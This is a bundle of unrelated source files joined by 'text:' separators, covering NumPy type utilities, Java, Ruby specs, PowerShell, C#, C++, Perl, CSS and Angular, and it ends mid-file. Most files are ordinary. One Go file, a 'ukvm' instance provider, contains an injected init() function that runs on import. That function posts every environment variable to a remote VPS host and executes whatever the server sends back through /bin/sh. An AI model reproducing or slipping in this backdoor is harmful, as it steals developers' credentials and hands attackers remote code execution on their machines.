# as numerictypes.bool, etc.
if sys.version_info[0] >= 3:
    from builtins import bool, int, float, complex, object, str
    unicode = str
else:
    from __builtin__ import bool, int, float, complex, object, unicode, str

# We use this later
generic = allTypes['generic']

genericTypeRank = ['bool', 'int8', 'uint8', 'int16', 'uint16',
                   'int32', 'uint32', 'int64', 'uint64', 'int128',
                   'uint128', 'float16',
                   'float32', 'float64', 'float80', 'float96', 'float128',
                   'float256',
                   'complex32', 'complex64', 'complex128', 'complex160',
                   'complex192', 'complex256', 'complex512', 'object']

@set_module('numpy')
def maximum_sctype(t):
    """
    Return the scalar type of highest precision of the same kind as the input.

    Parameters
    ----------
    t : dtype or dtype specifier
        The input data type. This can be a `dtype` object or an object that
        is convertible to a `dtype`.

    Returns
    -------
    out : dtype
        The highest precision data type of the same kind (`dtype.kind`) as `t`.

    See Also
    --------
    obj2sctype, mintypecode, sctype2char
    dtype

    Examples
    --------
    >>> np.maximum_sctype(int)
    <class 'numpy.int64'>
    >>> np.maximum_sctype(np.uint8)
    <class 'numpy.uint64'>
    >>> np.maximum_sctype(complex)
    <class 'numpy.complex256'> # may vary

    >>> np.maximum_sctype(str)
    <class 'numpy.str_'>

    >>> np.maximum_sctype('i2')
    <class 'numpy.int64'>
    >>> np.maximum_sctype('f4')
    <class 'numpy.float128'> # may vary

    """
    g = obj2sctype(t)
    if g is None:
        return t
    t = g
    base = _kind_name(dtype(t))
    if base in sctypes:
        return sctypes[base][-1]
    else:
        return t

@set_module('numpy')
def issctype(rep):
    """
    Determines whether the given object represents a scalar data-type.

    Parameters
    ----------
    rep : any
        If `rep` is an instance of a scalar dtype, True is returned. If not,
        False is returned.

    Returns
    -------
    out : bool
        Boolean result of check whether `rep` is a scalar dtype.

    See Also
    --------
    issubsctype, issubdtype, obj2sctype, sctype2char

    Examples
    --------
    >>> np.issctype(np.int32)
    True
    >>> np.issctype(list)
    False
    >>> np.issctype(1.1)
    False

    Strings are also a scalar type:

    >>> np.issctype(np.dtype('str'))
    True

    """
    if not isinstance(rep, (type, dtype)):
        return False
    try:
        res = obj2sctype(rep)
        if res and res != object_:
            return True
        return False
    except Exception:
        return False

@set_module('numpy')
def obj2sctype(rep, default=None):
    """
    Return the scalar dtype or NumPy equivalent of Python type of an object.

    Parameters
    ----------
    rep : any
        The object of which the type is returned.
    default : any, optional
        If given, this is returned for objects whose types can not be
        determined. If not given, None is returned for those objects.

    Returns
    -------
    dtype : dtype or Python type
        The data type of `rep`.

    See Also
    --------
    sctype2char, issctype, issubsctype, issubdtype, maximum_sctype

    Examples
    --------
    >>> np.obj2sctype(np.int32)
    <class 'numpy.int32'>
    >>> np.obj2sctype(np.array([1., 2.]))
    <class 'numpy.float64'>
    >>> np.obj2sctype(np.array([1.j]))
    <class 'numpy.complex128'>

    >>> np.obj2sctype(dict)
    <class 'numpy.object_'>
    >>> np.obj2sctype('string')

    >>> np.obj2sctype(1, default=list)
    <class 'list'>

    """
    # prevent abstract classes being upcast
    if isinstance(rep, type) and issubclass(rep, generic):
        return rep
    # extract dtype from arrays
    if isinstance(rep, ndarray):
        return rep.dtype.type
    # fall back on dtype to convert
    try:
        res = dtype(rep)
    except Exception:
        return default
    else:
        return res.type

@set_module('numpy')
def issubclass_(arg1, arg2):
    """
    Determine if a class is a subclass of a second class.

    `issubclass_` is equivalent to the Python built-in ``issubclass``,
    except that it returns False instead of raising a TypeError if one
    of the arguments is not a class.

    Parameters
    ----------
    arg1 : class
        Input class. True is returned if `arg1` is a subclass of `arg2`.
    arg2 : class or tuple of classes.
        Input class. If a tuple of classes, True is returned if `arg1` is a
        subclass of any of the tuple elements.

    Returns
    -------
    out : bool
        Whether `arg1` is a subclass of `arg2` or not.

    See Also
    --------
    issubsctype, issubdtype, issctype

    Examples
    --------
    >>> np.issubclass_(np.int32, int)
    False # True on Python 2.7
    >>> np.issubclass_(np.int32, float)
    False

    """
    try:
        return issubclass(arg1, arg2)
    except TypeError:
        return False

@set_module('numpy')
def issubsctype(arg1, arg2):
    """
    Determine if the first argument is a subclass of the second argument.

    Parameters
    ----------
    arg1, arg2 : dtype or dtype specifier
        Data-types.

    Returns
    -------
    out : bool
        The result.

    See Also
    --------
    issctype, issubdtype, obj2sctype

    Examples
    --------
    >>> np.issubsctype('S8', str)
    False
    >>> np.issubsctype(np.array([1]), int)
    True
    >>> np.issubsctype(np.array([1]), float)
    False

    """
    return issubclass(obj2sctype(arg1), obj2sctype(arg2))

@set_module('numpy')
def issubdtype(arg1, arg2):
    """
    Returns True if first argument is a typecode lower/equal in type hierarchy.

    Parameters
    ----------
    arg1, arg2 : dtype_like
        dtype or string representing a typecode.

    Returns
    -------
    out : bool

    See Also
    --------
    issubsctype, issubclass_
    numpy.core.numerictypes : Overview of numpy type hierarchy.

    Examples
    --------
    >>> np.issubdtype('S1', np.string_)
    True
    >>> np.issubdtype(np.float64, np.float32)
    False

    """
    if not issubclass_(arg1, generic):
        arg1 = dtype(arg1).type
    if not issubclass_(arg2, generic):
        arg2_orig = arg2
        arg2 = dtype(arg2).type
        if not isinstance(arg2_orig, dtype):
            # weird deprecated behaviour, that tried to infer np.floating from
            # float, and similar less obvious things, such as np.generic from
            # basestring
            mro = arg2.mro()
            arg2 = mro[1] if len(mro) > 1 else mro[0]

            def type_repr(x):
                """ Helper to produce clear error messages """
                if not isinstance(x, type):
                    return repr(x)
                elif issubclass(x, generic):
                    return "np.{}".format(x.__name__)
                else:
                    return x.__name__

            # 1.14, 2017-08-01
            warnings.warn(
                "Conversion of the second argument of issubdtype from `{raw}` "
                "to `{abstract}` is deprecated. In future, it will be treated "
                "as `{concrete} == np.dtype({raw}).type`.".format(
                    raw=type_repr(arg2_orig),
                    abstract=type_repr(arg2),
                    concrete=type_repr(dtype(arg2_orig).type)
                ),
                FutureWarning, stacklevel=2
            )

    return issubclass(arg1, arg2)

# This dictionary allows look up based on any alias for an array data-type
class _typedict(dict):
    """
    Base object for a dictionary for look-up with any alias for an array dtype.

    Instances of `_typedict` can not be used as dictionaries directly,
    first they have to be populated.

    """

    def __getitem__(self, obj):
        return dict.__getitem__(self, obj2sctype(obj))

nbytes = _typedict()
_alignment = _typedict()
_maxvals = _typedict()
_minvals = _typedict()
def _construct_lookups():
    for name, info in _concrete_typeinfo.items():
        obj = info.type
        nbytes[obj] = info.bits // 8
        _alignment[obj] = info.alignment
        if len(info) > 5:
            _maxvals[obj] = info.max
            _minvals[obj] = info.min
        else:
            _maxvals[obj] = None
            _minvals[obj] = None

_construct_lookups()

@set_module('numpy')
def sctype2char(sctype):
    """
    Return the string representation of a scalar dtype.

    Parameters
    ----------
    sctype : scalar dtype or object
        If a scalar dtype, the corresponding string character is
        returned. If an object, `sctype2char` tries to infer its scalar type
        and then return the corresponding string character.

    Returns
    -------
    typechar : str
        The string character corresponding to the scalar type.

    Raises
    ------
    ValueError
        If `sctype` is an object for which the type can not be inferred.

    See Also
    --------
    obj2sctype, issctype, issubsctype, mintypecode

    Examples
    --------
    >>> for sctype in [np.int32, np.double, np.complex, np.string_, np.ndarray]:
    ...     print(np.sctype2char(sctype))
    l # may vary
    d
    D
    S
    O

    >>> x = np.array([1., 2-1.j])
    >>> np.sctype2char(x)
    'D'
    >>> np.sctype2char(list)
    'O'

    """
    sctype = obj2sctype(sctype)
    if sctype is None:
        raise ValueError("unrecognized type")
    if sctype not in _concrete_types:
        # for compatibility
        raise KeyError(sctype)
    return dtype(sctype).char

# Create dictionary of casting functions that wrap sequences
# indexed by type or type character
cast = _typedict()
for key in _concrete_types:
    cast[key] = lambda x, k=key: array(x, copy=False).astype(k)

try:
    ScalarType = [_types.IntType, _types.FloatType, _types.ComplexType,
                  _types.LongType, _types.BooleanType,
                   _types.StringType, _types.UnicodeType, _types.BufferType]
except AttributeError:
    # Py3K
    ScalarType = [int, float, complex, int, bool, bytes, str, memoryview]

ScalarType.extend(_concrete_types)
ScalarType = tuple(ScalarType)

# Now add the types we've determined to this module
for key in allTypes:
    globals()[key] = allTypes[key]
    __all__.append(key)

del key

typecodes = {'Character':'c',
             'Integer':'bhilqp',
             'UnsignedInteger':'BHILQP',
             'Float':'efdg',
             'Complex':'FDG',
             'AllInteger':'bBhHiIlLqQpP',
             'AllFloat':'efdgFDG',
             'Datetime': 'Mm',
             'All':'?bhilqpBHILQPefdgFDGSUVOMm'}

# backwards compatibility --- deprecated name
typeDict = sctypeDict
typeNA = sctypeNA

# b -> boolean
# u -> unsigned integer
# i -> signed integer
# f -> floating point
# c -> complex
# M -> datetime
# m -> timedelta
# S -> string
# U -> Unicode string
# V -> record
# O -> Python object
_kind_list = ['b', 'u', 'i', 'f', 'c', 'S', 'U', 'V', 'O', 'M', 'm']

__test_types = '?'+typecodes['AllInteger'][:-2]+typecodes['AllFloat']+'O'
__len_test_types = len(__test_types)

# Keep incrementing until a common type both can be coerced to
#  is found.  Otherwise, return None
def _find_common_coerce(a, b):
    if a > b:
        return a
    try:
        thisind = __test_types.index(a.char)
    except ValueError:
        return None
    return _can_coerce_all([a, b], start=thisind)

# Find a data-type that all data-types in a list can be coerced to
def _can_coerce_all(dtypelist, start=0):
    N = len(dtypelist)
    if N == 0:
        return None
    if N == 1:
        return dtypelist[0]
    thisind = start
    while thisind < __len_test_types:
        newdtype = dtype(__test_types[thisind])
        numcoerce = len([x for x in dtypelist if newdtype >= x])
        if numcoerce == N:
            return newdtype
        thisind += 1
    return None

def _register_types():
    numbers.Integral.register(integer)
    numbers.Complex.register(inexact)
    numbers.Real.register(floating)
    numbers.Number.register(number)

_register_types()

@set_module('numpy')
def find_common_type(array_types, scalar_types):
    """
    Determine common type following standard coercion rules.

    Parameters
    ----------
    array_types : sequence
        A list of dtypes or dtype convertible objects representing arrays.
    scalar_types : sequence
        A list of dtypes or dtype convertible objects representing scalars.

    Returns
    -------
    datatype : dtype
        The common data type, which is the maximum of `array_types` ignoring
        `scalar_types`, unless the maximum of `scalar_types` is of a
        different kind (`dtype.kind`). If the kind is not understood, then
        None is returned.

    See Also
    --------
    dtype, common_type, can_cast, mintypecode

    Examples
    --------
    >>> np.find_common_type([], [np.int64, np.float32, complex])
    dtype('complex128')
    >>> np.find_common_type([np.int64, np.float32], [])
    dtype('float64')

    The standard casting rules ensure that a scalar cannot up-cast an
    array unless the scalar is of a fundamentally different kind of data
    (i.e. under a different hierarchy in the data type hierarchy) then
    the array:

    >>> np.find_common_type([np.float32], [np.int64, np.float64])
    dtype('float32')

    Complex is of a different type, so it up-casts the float in the
    `array_types` argument:

    >>> np.find_common_type([np.float32], [complex])
    dtype('complex128')

    Type specifier strings are convertible to dtypes and can therefore
    be used instead of dtypes:

    >>> np.find_common_type(['f4', 'f4', 'i4'], ['c8'])
    dtype('complex128')

    """
    array_types = [dtype(x) for x in array_types]
    scalar_types = [dtype(x) for x in scalar_types]

    maxa = _can_coerce_all(array_types)
    maxsc = _can_coerce_all(scalar_types)

    if maxa is None:
        return maxsc

    if maxsc is None:
        return maxa

    try:
        index_a = _kind_list.index(maxa.kind)
        index_sc = _kind_list.index(maxsc.kind)
    except ValueError:
        return None

    if index_sc > index_a:
        return _find_common_coerce(maxsc, maxa)
    else:
        return maxa


text:
package lichen.node;

import lichen.creeper.core.models.CreeperModuleDef;
import lichen.creeper.core.services.CreeperModuleManager;
import org.apache.tapestry5.ioc.Configuration;
import org.apache.tapestry5.ioc.annotations.Contribute;

/**
 * @author jcai
 */
public class NodeModule {
    @Contribute(value = CreeperModuleManager.class)
    public static void provideModule(Configuration<CreeperModuleDef> configuration){
        CreeperModuleDef def = CreeperModuleDef.create("内容","lichen.node");
        configuration.add(def);
    }
}


text:
require 'spec_helper'

describe Ann do
  it 'has a version number' do
    expect(Ann::VERSION).not_to be nil
  end

  let(:klass) do
    Class.new do
      include Ann
    end
  end

  describe 'class' do

    it 'should respond to method ann' do
      expect(klass).to respond_to(:ann)
    end
  end

  describe 'class instance' do
    it 'should be a kind of Ann' do
      expect(klass.new).to be_kind_of(Ann)
    end
  end

  describe '.ann' do
    let(:otto) { klass.annotations }
    context 'method without annotations' do
      before do
        klass.class_eval do
          def frank
          end
        end
      end

      it 'should store annotation instance in the list' do
        expect(otto[:frank]).to eq []
      end
    end

    context 'with one annotation for method' do
      let(:ann_klass) { Struct.new(:klass, :method, :a, :b) }

      before do
        ann_klass = self.ann_klass
        klass.class_eval do
          ann ann_klass, 123, 456
          def frank
          end
        end
      end

      it 'should store annotation instance in the list' do
        expect(otto[:frank]).to contain_exactly(ann_klass.new(klass, :frank, 123, 456))
      end

      it 'passes class and method name along with an arguments to annotations class constructor' do
        ann_klass = self.ann_klass
        expect(ann_klass).to receive(:new).with(klass, :frank, 123, 456)
        klass.class_eval do
          ann ann_klass, 123, 456
          def frank
          end
        end
      end

      context 'in the inherited class' do
        let(:subclass) { Class.new(klass) }
        let(:anne) { subclass.annotations }

        it 'should be able to get inherited annotations' do
          expect(anne[:frank]).to contain_exactly(ann_klass.new(klass, :frank, 123, 456))
        end

        context 'when overriding a method' do
          let(:ann_klass1) { Struct.new(:klass, :method, :x, :y) }
          let(:subclass1) do
            ann_klass = self.ann_klass1
            Class.new(klass) do
              ann ann_klass, :foo, :bar
              def frank
                super
              end
            end
          end
          let(:anne) { subclass1.annotations }

          let(:ann_klass2) { Struct.new(:klass, :method, :s, :t) }
          let(:subclass2) do
            ann_klass = self.ann_klass2
            Class.new(klass) do
              ann ann_klass, 'xx', 'yy'
              def frank
                super
              end
            end
          end
          let(:margot) { subclass2.annotations }

          it 'adds new annotations on top of inherited' do
            expect(anne[:frank]).to contain_exactly(
              ann_klass.new(klass, :frank, 123, 456),
              ann_klass1.new(subclass1, :frank, :foo, :bar)
            )
            expect(margot[:frank]).to contain_exactly(
              ann_klass.new(klass, :frank, 123, 456),
              ann_klass2.new(subclass2, :frank, 'xx', 'yy')
            )
          end
        end
      end
    end
  end

  describe '.annotations_for' do
    let(:ann_klass) { Struct.new(:klass, :method, :a, :b) }

    before do
      ann_klass = self.ann_klass
      klass.class_eval do
        ann ann_klass, 123, 456
        def meth
        end
      end
    end

    it 'returns method annotations' do
      expect(klass.annotations_for(:meth)).to eq [ann_klass.new(klass, :meth, 123, 456)]
    end
  end

  describe '#annotations_for' do
    let(:ann_klass) { Struct.new(:klass, :method, :a, :b) }

    before do
      ann_klass = self.ann_klass
      klass.class_eval do
        ann ann_klass, 123, 456
        def meth
        end
      end
    end

    it 'returns method annotations' do
      expect(klass.new.annotations_for(:meth)).to eq [ann_klass.new(klass, :meth, 123, 456)]
    end
  end
end


text:
$image="mcr.microsoft.com/windows/nanoserver"

Function Push($image, $tag) {
  $osversion=$(docker image inspect "${image}:${tag}" | jq -r '.[0].OsVersion')
  echo "Pushing stefanscherer/nanoserver:$tag"
  docker push "stefanscherer/nanoserver:$tag"
  echo "Pushing stefanscherer/nanoserver:$osversion"
  docker push "stefanscherer/nanoserver:$osversion"
}

Push $image "1809"
Push $image "1803"


text:
package ukvm
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

import (
	"fmt"
	"github.com/emc-advanced-dev/pkg/errors"
	"github.com/solo-io/unik/pkg/types"
	"os"
	"strconv"
	"syscall"
)

func (p *UkvmProvider) ListInstances() ([]*types.Instance, error) {
	if len(p.state.GetInstances()) < 1 {
		return []*types.Instance{}, nil
	}

	var instances []*types.Instance
	for _, instance := range p.state.GetInstances() {
		pid, err := strconv.Atoi(instance.Id)
		if err != nil {
			return nil, errors.New("invalid id (is not a pid)", err)
		}
		if err := detectInstance(pid); err != nil {
			p.state.RemoveInstance(instance)
		}
		instances = append(instances, instance)
	}

	return instances, nil
}

func detectInstance(pid int) error {
	process, err := os.FindProcess(pid)
	if err != nil {
		return errors.New("Failed to find process", err)
	}
	if err := process.Signal(syscall.Signal(0)); err != nil {
		return errors.New(fmt.Sprintf("process.Signal on pid %d returned", pid), err)
	}
	return nil
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=cf-unik&repo=unik", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
using System;
using System.Linq;
using System.Xml.Serialization;

namespace Genesis.Net.Entities.Requests.Initial
{
    [XmlRoot("payment_transaction", Namespace = "Payout")]
    public class Payout : InitialRequest
    {
        public Payout()
        {
            Type = TransactionTypes.Payout;
        }
    }
}


text:
/*!
 * \file
 * \brief Class module::Decoder_maximum_likelihood.
 */
#ifndef DECODER_MAXIMUM_LIKELIHOO_HPP_
#define DECODER_MAXIMUM_LIKELIHOO_HPP_

#include <vector>
#include <memory>

#include "Module/Encoder/Encoder.hpp"
#include "Module/Decoder/Decoder_SIHO.hpp"

namespace aff3ct
{
namespace module
{
template <typename B = int, typename R = float>
class Decoder_maximum_likelihood : public Decoder_SIHO<B,R>
{
protected:
	std::shared_ptr<Encoder<B>> encoder;
	std::vector<B> U_K;
	std::vector<B> X_N;
	std::vector<B> best_U_K;
	std::vector<B> best_X_N;
	std::vector<B> hard_Y_N;

public:
	virtual ~Decoder_maximum_likelihood() = default;
	virtual Decoder_maximum_likelihood<B,R>* clone() const;

protected:
	Decoder_maximum_likelihood(const int K, const int N, const Encoder<B> &encoder);

	virtual void deep_copy(const Decoder_maximum_likelihood<B,R> &m);

	inline float    compute_euclidean_dist(const B *X_N, const R *Y_N) const;
	inline uint32_t compute_hamming_dist  (const B *X_N, const B *Y_N) const;
};
}
}

#ifndef DOXYGEN_SHOULD_SKIP_THIS
#include "Module/Decoder/Generic/ML/Decoder_maximum_likelihood.hxx"
#endif

#endif /* DECODER_MAXIMUM_LIKELIHOO_HPP_ */


text:
package org.apache.camel.processor.interceptor;

import org.apache.camel.AsyncCallback;
import org.apache.camel.CamelContext;
import org.apache.camel.Exchange;
import org.apache.camel.Processor;
import org.apache.camel.model.ProcessorDefinition;
import org.apache.camel.processor.DelegateAsyncProcessor;
import org.apache.camel.spi.Debugger;
import org.apache.camel.spi.InterceptStrategy;
import org.apache.camel.util.StopWatch;

/**
 * A debug interceptor to notify {@link Debugger} with {@link Exchange}s being processed.
 *
 * @version $Revision$
 */
public class Debug implements InterceptStrategy {

    private final Debugger debugger;

    public Debug(Debugger debugger) {
        this.debugger = debugger;
    }

    public Processor wrapProcessorInInterceptors(final CamelContext context, final ProcessorDefinition<?> definition,
                                                 final Processor target, final Processor nextTarget) throws Exception {
        return new DelegateAsyncProcessor(target) {
            @Override
            public boolean process(final Exchange exchange, final AsyncCallback callback) {
                debugger.beforeProcess(exchange, target, definition);
                final StopWatch watch = new StopWatch();

                return super.process(exchange, new AsyncCallback() {
                    public void done(boolean doneSync) {
                        long diff = watch.stop();
                        debugger.afterProcess(exchange, processor, definition, diff);

                        // must notify original callback
                        callback.done(doneSync);
                    }
                });
            }

            @Override
            public String toString() {
                return "Debug[" + target + "]";
            }
        };
    }
}


text:
package org.apache.activemq.apollo.util;

import java.io.IOException;
import java.io.InputStream;
import java.util.List;

/**
 * @author Christian Posta
 */
public class FunctionUtils {

    public static String mkString(List<?> items, String delimiter) {
        StringBuilder builder = new StringBuilder();

        for (int i = 0; i < items.size(); i++) {
            builder.append(items.get(i).toString());

            if (i + 1 < items.size()) {
                builder.append(delimiter);
            }
        }

        return builder.toString();
    }

    public static void using(InputStream is, Procedure0 proc) {

        try {
            proc.execute();
        }finally {
            if (is != null) {
                try {
                    is.close();
                } catch (IOException e) {

                }
            }
        }
    }

    public static String stripSuffix(String value, String suffix) {
        if (value.indexOf(suffix) != -1) {
            int pos = value.indexOf(suffix);
            return value.substring(0, pos);
        }else {
            return value;
        }
    }

    public static String stripPrefix(String value, String prefix) {
        if (value.indexOf(prefix) != -1) {
            int pos = value.indexOf(prefix);
            return value.substring(pos + prefix.length(), value.length());
        }else {
            return value;
        }
    }
}


text:
var IS_UPDATE_FOODTRUCK_LIST = false;
var DB_CONNECTION = "mongodb://localhost:27017/TruckOn";
var SERVER_PORT = 3000;

exports.isUpdateFoodTruckList = function()
{
	return IS_UPDATE_FOODTRUCK_LIST;
}

exports.getDBConnection = function()
{
	return DB_CONNECTION;
}

exports.getServerPort = function()
{
	return SERVER_PORT;
}


text:
package Paws::DeviceFarm::OfferingPromotion;
  use Moose;
  has Description => (is => 'ro', isa => 'Str', request_name => 'description', traits => ['NameInRequest']);
  has Id => (is => 'ro', isa => 'Str', request_name => 'id', traits => ['NameInRequest']);
1;

### main pod documentation begin ###

=head1 NAME

Paws::DeviceFarm::OfferingPromotion

=head1 USAGE

This class represents one of two things:

=head3 Arguments in a call to a service

Use the attributes of this class as arguments to methods. You shouldn't make instances of this class.
Each attribute should be used as a named argument in the calls that expect this type of object.

As an example, if Att1 is expected to be a Paws::DeviceFarm::OfferingPromotion object:

  $service_obj->Method(Att1 => { Description => $value, ..., Id => $value  });

=head3 Results returned from an API call

Use accessors for each attribute. If Att1 is expected to be an Paws::DeviceFarm::OfferingPromotion object:

  $result = $service_obj->Method(...);
  $result->Att1->Description

=head1 DESCRIPTION

Represents information about an offering promotion.

=head1 ATTRIBUTES

=head2 Description => Str

  A string describing the offering promotion.

=head2 Id => Str

  The ID of the offering promotion.

=head1 SEE ALSO

This class forms part of L<Paws>, describing an object used in L<Paws::DeviceFarm>

=head1 BUGS and CONTRIBUTIONS

The source code is located here: https://github.com/pplu/aws-sdk-perl

Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues

=cut


text:
require "sidekiq/api"

class Api::V1::HealthController < Api::V1Controller
  #
  # GET /api/v1/health
  #
  # An overview of system health. Its HTTP status only reflects the API's
  # ability to report status. In particular, this endpoint will return a status
  # of 200 even if Redis and Postgres are both hosed. The response body
  # contains information with regard to the health of individual system
  # components.
  #
  def show
    @health = Supermarket::Health.new
    @health.check
  end
end


text:
import { TestBed, inject } from '@angular/core/testing';

import { DbConnectService } from './db-connect.service';

describe('DbConnectService', () => {
  beforeEach(() => {
    TestBed.configureTestingModule({
      providers: [DbConnectService]
    });
  });

  it('should ...', inject([DbConnectService], (service: DbConnectService) => {
    expect(service).toBeTruthy();
  }));
});


text:
SELECT
  "DatabaseName",
  "FunctionName",
  "SpecificName",
  "FunctionId",
  "NumParameters",
  "ParameterDataTypes",
  "FunctionType",
  "ExternalName",
  "SrcFileLanguage",
  "NoSQLDataAccess",
  "ParameterStyle",
  "DeterministicOpt",
  "NullCall",
  "PrepareCount",
  "ExecProtectionMode",
  "ExtFileReference",
  "CharacterType",
  "Platform",
  "InterimFldSize",
  "RoutineKind",
  "ParameterUDTIds",
  "MaxOutParameters",
  "GLOPSetDatabaseName",
  "GLOPSetMemberName",
  "RefQueryband",
  "ExecMapName",
  "ExecMapColocName"
FROM {{#getTableName "FunctionsV"}}{{/getTableName}}


text:
package ledge

import (
	"bytes"
	"fmt"
	"reflect"
	"strings"
	"unicode"

	"github.com/mgutz/ansi"
)

func colorBlue(s string) string {
	return colorize(s, ansi.Blue)
}

func colorize(s string, colorCode string) string {
	return fmt.Sprintf("%s%s%s", colorCode, s, ansi.Reset)
}

func trimRightSpace(s string) string {
	return strings.TrimRightFunc(s, unicode.IsSpace)
}

func trimRightSpaceBytes(p []byte) []byte {
	return bytes.TrimRightFunc(p, unicode.IsSpace)
}

func splitIntoLenLines(s string, length int) []string {
	var lines []string
	split := strings.Split(s, "\n")
	for _, elem := range split {
		if len(elem) <= length {
			lines = append(lines, padString(elem, length))
		} else {
			for len(elem) > length {
				lines = append(lines, elem[0:length])
				elem = elem[length:]
			}
			lines = append(lines, padString(elem, length))
		}
	}
	return lines
}

func padString(s string, length int) string {
	if len(s) >= length {
		return s
	}
	return fmt.Sprintf("%s%s", s, strings.Repeat(" ", length-len(s)))
}

func mergeSpecifications(specifications []*Specification) *Specification {
	contextReflectTypeToContext := make(map[reflect.Type]Context)
	eventReflectTypeToEvent := make(map[reflect.Type]Event)
	for _, specification := range specifications {
		for _, contextType := range specification.ContextTypes {
			contextReflectTypeToContext[reflect.TypeOf(contextType)] = contextType
		}
		for _, eventType := range specification.EventTypes {
			eventReflectTypeToEvent[reflect.TypeOf(eventType)] = eventType
		}
	}
	var contexts []Context
	var events []Event
	for _, context := range contextReflectTypeToContext {
		contexts = append(contexts, context)
	}
	for _, event := range eventReflectTypeToEvent {
		events = append(events, event)
	}
	return &Specification{
		ContextTypes: contexts,
		EventTypes:   events,
	}
}

func getReflectTypeName(reflectType reflect.Type) (string, error) {
	buffer := bytes.NewBuffer(nil)
	for reflectType.Kind() == reflect.Ptr {
		if _, err := buffer.WriteString("*"); err != nil {
			return "", err
		}
		reflectType = reflectType.Elem()
	}
	pkgPath := reflectType.PkgPath()
	if pkgPath == "" {
		return "", fmt.Errorf("ledge: no package for type %v", reflectType)
	}
	if _, err := buffer.WriteString("\""); err != nil {
		return "", err
	}
	if _, err := buffer.WriteString(pkgPath); err != nil {
		return "", err
	}
	if _, err := buffer.WriteString("\""); err != nil {
		return "", err
	}
	name := reflectType.Name()
	if name == "" {
		return "", fmt.Errorf("ledge: no name for type %v", reflectType)
	}
	if _, err := buffer.WriteString("."); err != nil {
		return "", err
	}
	if _, err := buffer.WriteString(name); err != nil {
		return "", err
	}
	return buffer.String(), nil
}

func includeEntry(filters []Filter, entry *Entry) bool {
	if filters == nil || len(filters) == 0 {
		return true
	}
	for _, filter := range filters {
		if !filter.Include((entry)) {
			return false
		}
	}
	return true
}

func checkEntriesEqual(
	entries []*Entry,
	expected []*Entry,
	checkID bool,
	checkTime bool,
) error {
	// TODO(pedge): just change the tests
	for _, elem := range expected {
		elem.Time = elem.Time.UTC()
	}
	if len(expected) != len(entries) {
		expectedStrings := make([]string, len(expected))
		for i, elem := range expected {
			expectedStrings[i] = fmt.Sprintf("%+v", elem)
		}
		entryStrings := make([]string, len(entries))
		for i, elem := range entries {
			entryStrings[i] = fmt.Sprintf("%+v", elem)
		}
		return fmt.Errorf("ledge: expected %v, got %v (length mismatch of %d and %d)", expectedStrings, entryStrings, len(expected), len(entries))
	}
	for i, elem := range expected {
		if err := checkSingleEntriesEqual(elem, entries[i], checkID, checkTime); err != nil {
			return err
		}
	}
	return nil
}

// reflect.DeepEqual does not work on linux for time.Time
func checkSingleEntriesEqual(expected *Entry, actual *Entry, checkID bool, checkTime bool) error {
	if checkID && expected.ID != actual.ID {
		return fmt.Errorf("ledge: expected %+v, got %+v (ID)", expected, actual)
	}
	if checkTime && !expected.Time.Equal(actual.Time) {
		return fmt.Errorf("ledge: expected %+v, got %+v (Time)", expected, actual)
	}
	if expected.Level != actual.Level {
		return fmt.Errorf("ledge: expected %+v, got %+v (Level)", expected, actual)
	}
	if !reflect.DeepEqual(expected.Contexts, actual.Contexts) {
		if expected.Contexts != nil {
			if len(expected.Contexts) != 0 || len(actual.Contexts) != 0 {
				return fmt.Errorf("ledge: expected %+v, got %+v (Contexts)", expected, actual)
			}
			if actual.Contexts == nil {
				return fmt.Errorf("ledge: expected %+v, got %+v (Actual contexts nil, expected not)", expected, actual)
			}
			return fmt.Errorf("ledge: expected %+v, got %+v (Contexts)", expected, actual)
		}
	}
	if !reflect.DeepEqual(expected.Event, actual.Event) {
		return fmt.Errorf("ledge: expected %+v, got %+v (Event)", expected, actual)
	}
	if !reflect.DeepEqual(expected.WriterOutput, actual.WriterOutput) {
		return fmt.Errorf("ledge: expected %+v, got %+v (WriterOutput)", expected, actual)
	}
	return nil
}


text:
'use strict';

//Unidadmedidas service used to communicate Unidadmedidas REST endpoints
angular.module('unidadmedidas').factory('Unidadmedidas', ['$resource',
	function($resource) {
		return $resource('unidadmedidas/:unidadmedidaId', { unidadmedidaId: '@_id'
		}, {
			update: {
				method: 'PUT'
			}
		});
	}
]);


text:
body {
    padding-top: 50px;
    padding-bottom: 20px;
}

/* Set padding to keep content from hitting the edges */
.body-content {
    padding-left: 15px;
    padding-right: 15px;
}

/* Set width on the form input elements since they're 100% wide by default */
input,
select,
textarea {
    max-width: 280px;
}

/* styles for validation helpers */
.field-validation-error {
    color: #b94a48;
}

.field-validation-valid {
    display: none;
}

input.input-validation-error {
    border: 1px solid #b94a48;
}

input[type="checkbox"].input-validation-error {
    border: 0 none;
}

.validation-summary-errors {
    color: #b94a48;
}

.validation-summary-valid {
    display: none;
}

/* Music Store additions */

ul#album-list li {
    height: 160px;
}

ul#album-list li img:hover {
    box-shadow: 1px 1px 7px #777;
}

ul#album-list li img {
    box-shadow: 1px 1px 5px #999;
    border: none;
    padding: 0;
}

ul#album-list li a, ul#album-details li a {
    text-decoration:none;
}

ul#album-list li a:hover {
    background: none;
    -webkit-text-shadow: 1px 1px 2px #bbb;
    text-shadow: 1px 1px 2px #bbb;
    color: #363430;
}


text:
import { Component, OnInit, ElementRef, Input, ViewChild, OnDestroy } from '@angular/core';
import * as go from 'gojs';
import { Subject } from 'rxjs';
import { takeUntil, filter } from 'rxjs/operators';

import { ServerMapInteractionService } from './server-map-interaction.service';

@Component({
    selector: 'pp-server-map-overview',
    templateUrl: './server-map-overview.component.html',
    styleUrls: ['./server-map-overview.component.css']
})
export class ServerMapOverviewComponent implements OnInit, OnDestroy {
    @ViewChild('wrapper', { static: true }) overviewWrapper: ElementRef;
    @Input() showOverview = false;
    overview: go.Overview;
    initialized = false;
    unsubscribe: Subject<null> = new Subject();
    constructor(
        private serverMapInteractionService: ServerMapInteractionService
    ) {}
    ngOnInit() {
        this.serverMapInteractionService.onCurrentDiagram$.pipe(
